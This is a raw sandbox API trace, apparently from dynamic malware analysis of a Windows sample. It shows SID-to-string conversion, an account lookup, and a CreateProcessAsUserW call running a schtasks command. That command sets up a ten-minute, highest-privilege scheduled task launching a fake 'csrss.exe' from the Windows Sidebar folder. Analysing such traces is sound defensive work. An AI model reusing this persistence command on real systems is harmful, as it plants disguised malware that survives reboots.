[0058.076] memcpy (in: _Dst=0x34dba0, _Src=0x346eb8, _Size=0x16 | out: _Dst=0x34dba0) returned 0x34dba0 [0058.076] free (_Block=0xeef20) [0058.076] free (_Block=0xef020) [0058.076] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0058.076] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0058.076] malloc (_Size=0x18) returned 0xef020 [0058.076] malloc (_Size=0x18) returned 0xeef20 [0058.076] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0058.076] SysStringLen (param_1="-") returned 0x1 [0058.076] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x3e | out: _Dst=0x34da68) returned 0x34da68 [0058.076] memcpy (in: _Dst=0x34daa4, _Src=0x346eb8, _Size=0x4 | out: _Dst=0x34daa4) returned 0x34daa4 [0058.076] free (_Block=0xeef60) [0058.076] free (_Block=0xef020) [0058.076] malloc (_Size=0x18) returned 0xef020 [0058.076] malloc (_Size=0x18) returned 0xeef60 [0058.076] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0058.076] SysStringLen (param_1="3835049652") returned 0xa [0058.076] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x40 | out: _Dst=0x34db78) returned 0x34db78 [0058.077] memcpy (in: _Dst=0x34dbb6, _Src=0x346eb8, _Size=0x16 | out: _Dst=0x34dbb6) returned 0x34dbb6 [0058.077] free (_Block=0xeef20) [0058.077] free (_Block=0xef020) [0058.077] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0058.077] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0058.077] malloc (_Size=0x18) returned 0xef020 [0058.077] malloc (_Size=0x18) returned 0xeef20 [0058.077] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0058.077] SysStringLen (param_1="-") returned 0x1 [0058.077] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x54 | out: _Dst=0x34da68) returned 0x34da68 [0058.077] memcpy (in: _Dst=0x34daba, _Src=0x346eb8, _Size=0x4 | out: _Dst=0x34daba) returned 0x34daba [0058.077] free (_Block=0xeef60) [0058.077] free (_Block=0xef020) [0058.077] malloc (_Size=0x18) returned 0xef020 [0058.077] malloc (_Size=0x18) returned 0xeef60 [0058.077] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0058.077] SysStringLen (param_1="1000") returned 0x4 [0058.077] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x56 | out: _Dst=0x34db78) returned 0x34db78 [0058.077] memcpy (in: _Dst=0x34dbcc, _Src=0x346eb8, _Size=0xa | out: _Dst=0x34dbcc) returned 0x34dbcc [0058.077] free (_Block=0xeef20) [0058.077] free (_Block=0xef020) [0058.077] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0058.077] malloc (_Size=0x5e) returned 0xf0800 [0058.077] free (_Block=0xeef60) [0058.078] malloc (_Size=0x18) returned 0xeef60 [0058.078] free (_Block=0xf0800) [0058.078] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0058.080] GetLastError () returned 0x7a [0058.080] malloc (_Size=0x14) returned 0xef020 [0058.080] malloc (_Size=0x16) returned 0xeef20 [0058.080] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef020, cchName=0xebccb4, ReferencedDomainName=0xeef20, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0058.121] malloc (_Size=0x18) returned 0xeeee0 [0058.121] malloc (_Size=0x18) returned 0xeef00 [0058.121] free (_Block=0xef020) [0058.121] free (_Block=0xeef20) [0058.121] free (_Block=0xeff00) [0058.121] free (_Block=0xeef00) [0058.121] free (_Block=0xeeee0) [0058.121] free (_Block=0xeef60) [0058.122] free (_Block=0xee240) [0058.122] malloc (_Size=0x48) returned 0xed2c0 [0058.122] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0058.132] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0058.132] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0058.132] malloc (_Size=0x18) returned 0xeef60 [0058.132] CreateEnvironmentBlock () returned 0x1 [0058.138] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0058.138] malloc (_Size=0x18) returned 0xeeee0 [0058.138] CreateProcessAsUserW (in: hToken=0x2e0, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"csrssc\" /sc MINUTE /mo 10 /tr \"'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"csrssc\" /sc MINUTE /mo 10 /tr \"'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x248, hThread=0x24c, dwProcessId=0xedc, dwThreadId=0xee0)) returned 1 [0058.143] CloseHandle (hObject=0x248) returned 1 [0058.143] CloseHandle (hObject=0x24c) returned 1 [0058.144] free (_Block=0xeeee0) [0058.144] DestroyEnvironmentBlock () returned 0x1 [0058.144] malloc (_Size=0x48) returned 0xed400 [0058.144] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x4bcccc20, dwHighDateTime=0x1d9eb0c)) [0058.144] malloc (_Size=0x10) returned 0xeeee0 [0058.144] SetEvent (hEvent=0x1f0) returned 1 [0058.144] CloseHandle (hObject=0x2d4) returned 1 [0058.145] CloseHandle (hObject=0x2e0) returned 1 [0058.353] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da80 [0058.353] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da80, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0058.353] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0059.269] SetLastError (dwErrCode=0x0) [0059.269] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0059.269] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0059.269] SetLastError (dwErrCode=0x0) [0059.269] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0) returned 1 [0059.269] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0059.269] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0059.269] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f530 [0059.269] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f530, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0059.269] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f530 | out: hHeap=0x2e0000) returned 1 [0059.271] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0059.272] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0059.272] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0059.272] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0059.273] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0059.273] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0059.273] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0059.275] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0059.275] GetCurrentThread () returned 0xfffffffffffffffe [0059.275] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x2e0) returned 1 [0059.275] malloc (_Size=0xd8) returned 0xf3750 [0059.275] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0059.276] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0059.276] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0059.276] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0059.276] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0059.277] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0059.277] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0059.277] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0059.277] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0059.277] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0059.277] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0059.278] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0059.278] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0059.278] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0059.278] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0059.278] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0059.279] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0059.279] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0059.279] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0059.279] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0059.279] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0059.279] malloc (_Size=0x18) returned 0xef040 [0059.279] DuplicateTokenEx (in: hExistingToken=0x2e0, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x2d4) returned 1 [0059.279] malloc (_Size=0x48) returned 0xed270 [0059.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x4c782f20, dwHighDateTime=0x1d9eb0c)) [0059.280] SetEvent (hEvent=0x1f0) returned 1 [0059.296] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0059.296] GetLastError () returned 0x7a [0059.296] malloc (_Size=0x2c) returned 0xee200 [0059.296] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0059.296] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0059.296] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0059.296] malloc (_Size=0x1c) returned 0xeff60 [0059.296] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0059.296] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0059.296] malloc (_Size=0x18) returned 0xef040 [0059.296] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0059.296] malloc (_Size=0x18) returned 0xeef60 [0059.296] malloc (_Size=0x18) returned 0xeef00 [0059.296] SysStringLen (param_1="S-1-") returned 0x4 [0059.297] SysStringLen (param_1="5") returned 0x1 [0059.297] memcpy (in: _Dst=0x35ec68, _Src=0x339768, _Size=0xa | out: _Dst=0x35ec68) returned 0x35ec68 [0059.297] memcpy (in: _Dst=0x35ec70, _Src=0x381268, _Size=0x4 | out: _Dst=0x35ec70) returned 0x35ec70 [0059.297] free (_Block=0xef040) [0059.297] free (_Block=0xeef60) [0059.297] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0059.297] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0059.297] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0059.297] malloc (_Size=0x18) returned 0xeef60 [0059.297] malloc (_Size=0x18) returned 0xef040 [0059.297] SysStringLen (param_1="S-1-5") returned 0x5 [0059.297] SysStringLen (param_1="-") returned 0x1 [0059.297] memcpy (in: _Dst=0x381268, _Src=0x35ec68, _Size=0xc | out: _Dst=0x381268) returned 0x381268 [0059.297] memcpy (in: _Dst=0x381272, _Src=0x339768, _Size=0x4 | out: _Dst=0x381272) returned 0x381272 [0059.297] free (_Block=0xeef00) [0059.297] free (_Block=0xeef60) [0059.297] malloc (_Size=0x18) returned 0xeef60 [0059.297] malloc (_Size=0x18) returned 0xeef00 [0059.298] SysStringLen (param_1="S-1-5-") returned 0x6 [0059.298] SysStringLen (param_1="21") returned 0x2 [0059.298] memcpy (in: _Dst=0x339768, _Src=0x381268, _Size=0xe | out: _Dst=0x339768) returned 0x339768 [0059.298] memcpy (in: _Dst=0x339774, _Src=0x35ec68, _Size=0x6 | out: _Dst=0x339774) returned 0x339774 [0059.298] free (_Block=0xef040) [0059.298] free (_Block=0xeef60) [0059.298] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0059.298] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0059.298] malloc (_Size=0x18) returned 0xeef60 [0059.298] malloc (_Size=0x18) returned 0xef040 [0059.298] SysStringLen (param_1="S-1-5-21") returned 0x8 [0059.298] SysStringLen (param_1="-") returned 0x1 [0059.298] memcpy (in: _Dst=0x35ec68, _Src=0x339768, _Size=0x12 | out: _Dst=0x35ec68) returned 0x35ec68 [0059.298] memcpy (in: _Dst=0x35ec78, _Src=0x381268, _Size=0x4 | out: _Dst=0x35ec78) returned 0x35ec78 [0059.298] free (_Block=0xeef00) [0059.298] free (_Block=0xeef60) [0059.298] malloc (_Size=0x18) returned 0xeef60 [0059.298] malloc (_Size=0x18) returned 0xeef00 [0059.298] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0059.299] SysStringLen (param_1="4219442223") returned 0xa [0059.299] memcpy (in: _Dst=0x337788, _Src=0x35ec68, _Size=0x14 | out: _Dst=0x337788) returned 0x337788 [0059.299] memcpy (in: _Dst=0x33779a, _Src=0x339768, _Size=0x16 | out: _Dst=0x33779a) returned 0x33779a [0059.299] free (_Block=0xef040) [0059.299] free (_Block=0xeef60) [0059.299] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0059.299] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0059.299] malloc (_Size=0x18) returned 0xeef60 [0059.299] malloc (_Size=0x18) returned 0xef040 [0059.299] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0059.299] SysStringLen (param_1="-") returned 0x1 [0059.299] memcpy (in: _Dst=0x337aa8, _Src=0x337788, _Size=0x28 | out: _Dst=0x337aa8) returned 0x337aa8 [0059.299] memcpy (in: _Dst=0x337ace, _Src=0x35ec68, _Size=0x4 | out: _Dst=0x337ace) returned 0x337ace [0059.299] free (_Block=0xeef00) [0059.299] free (_Block=0xeef60) [0059.299] malloc (_Size=0x18) returned 0xeef60 [0059.299] malloc (_Size=0x18) returned 0xeef00 [0059.299] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0059.299] SysStringLen (param_1="4223814209") returned 0xa [0059.300] memcpy (in: _Dst=0x34d958, _Src=0x337aa8, _Size=0x2a | out: _Dst=0x34d958) returned 0x34d958 [0059.300] memcpy (in: _Dst=0x34d980, _Src=0x35ec68, _Size=0x16 | out: _Dst=0x34d980) returned 0x34d980 [0059.300] free (_Block=0xef040) [0059.300] free (_Block=0xeef60) [0059.300] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0059.300] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0059.300] malloc (_Size=0x18) returned 0xeef60 [0059.300] malloc (_Size=0x18) returned 0xef040 [0059.300] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0059.300] SysStringLen (param_1="-") returned 0x1 [0059.300] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x3e | out: _Dst=0x327668) returned 0x327668 [0059.300] memcpy (in: _Dst=0x3276a4, _Src=0x35ec68, _Size=0x4 | out: _Dst=0x3276a4) returned 0x3276a4 [0059.300] free (_Block=0xeef00) [0059.300] free (_Block=0xeef60) [0059.300] malloc (_Size=0x18) returned 0xeef60 [0059.300] malloc (_Size=0x18) returned 0xeef00 [0059.300] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0059.301] SysStringLen (param_1="3835049652") returned 0xa [0059.301] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x40 | out: _Dst=0x34d958) returned 0x34d958 [0059.301] memcpy (in: _Dst=0x34d996, _Src=0x35ec68, _Size=0x16 | out: _Dst=0x34d996) returned 0x34d996 [0059.301] free (_Block=0xef040) [0059.301] free (_Block=0xeef60) [0059.301] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0059.301] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0059.301] malloc (_Size=0x18) returned 0xeef60 [0059.301] malloc (_Size=0x18) returned 0xef040 [0059.301] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0059.301] SysStringLen (param_1="-") returned 0x1 [0059.301] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x54 | out: _Dst=0x327668) returned 0x327668 [0059.301] memcpy (in: _Dst=0x3276ba, _Src=0x35ec68, _Size=0x4 | out: _Dst=0x3276ba) returned 0x3276ba [0059.301] free (_Block=0xeef00) [0059.301] free (_Block=0xeef60) [0059.301] malloc (_Size=0x18) returned 0xeef60 [0059.301] malloc (_Size=0x18) returned 0xeef00 [0059.301] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0059.301] SysStringLen (param_1="1000") returned 0x4 [0059.302] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x56 | out: _Dst=0x34d958) returned 0x34d958 [0059.302] memcpy (in: _Dst=0x34d9ac, _Src=0x35ec68, _Size=0xa | out: _Dst=0x34d9ac) returned 0x34d9ac [0059.302] free (_Block=0xef040) [0059.302] free (_Block=0xeef60) [0059.302] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0059.302] malloc (_Size=0x5e) returned 0xf0800 [0059.302] free (_Block=0xeef00) [0059.302] malloc (_Size=0x18) returned 0xeef00 [0059.303] free (_Block=0xf0800) [0059.303] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0059.305] GetLastError () returned 0x7a [0059.305] malloc (_Size=0x14) returned 0xeef60 [0059.305] malloc (_Size=0x16) returned 0xef040 [0059.305] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef60, cchName=0xebcca4, ReferencedDomainName=0xef040, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0059.306] malloc (_Size=0x18) returned 0xeef20 [0059.306] malloc (_Size=0x18) returned 0xef020 [0059.306] free (_Block=0xeef60) [0059.306] free (_Block=0xef040) [0059.306] free (_Block=0xeff60) [0059.306] free (_Block=0xef020) [0059.306] free (_Block=0xeef20) [0059.306] free (_Block=0xeef00) [0059.307] free (_Block=0xee200) [0059.307] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0059.307] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0059.307] GetLastError () returned 0x7a [0059.308] malloc (_Size=0x2c) returned 0xee240 [0059.308] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0059.308] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0059.308] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0059.308] malloc (_Size=0x1c) returned 0xeff60 [0059.308] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0059.308] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, 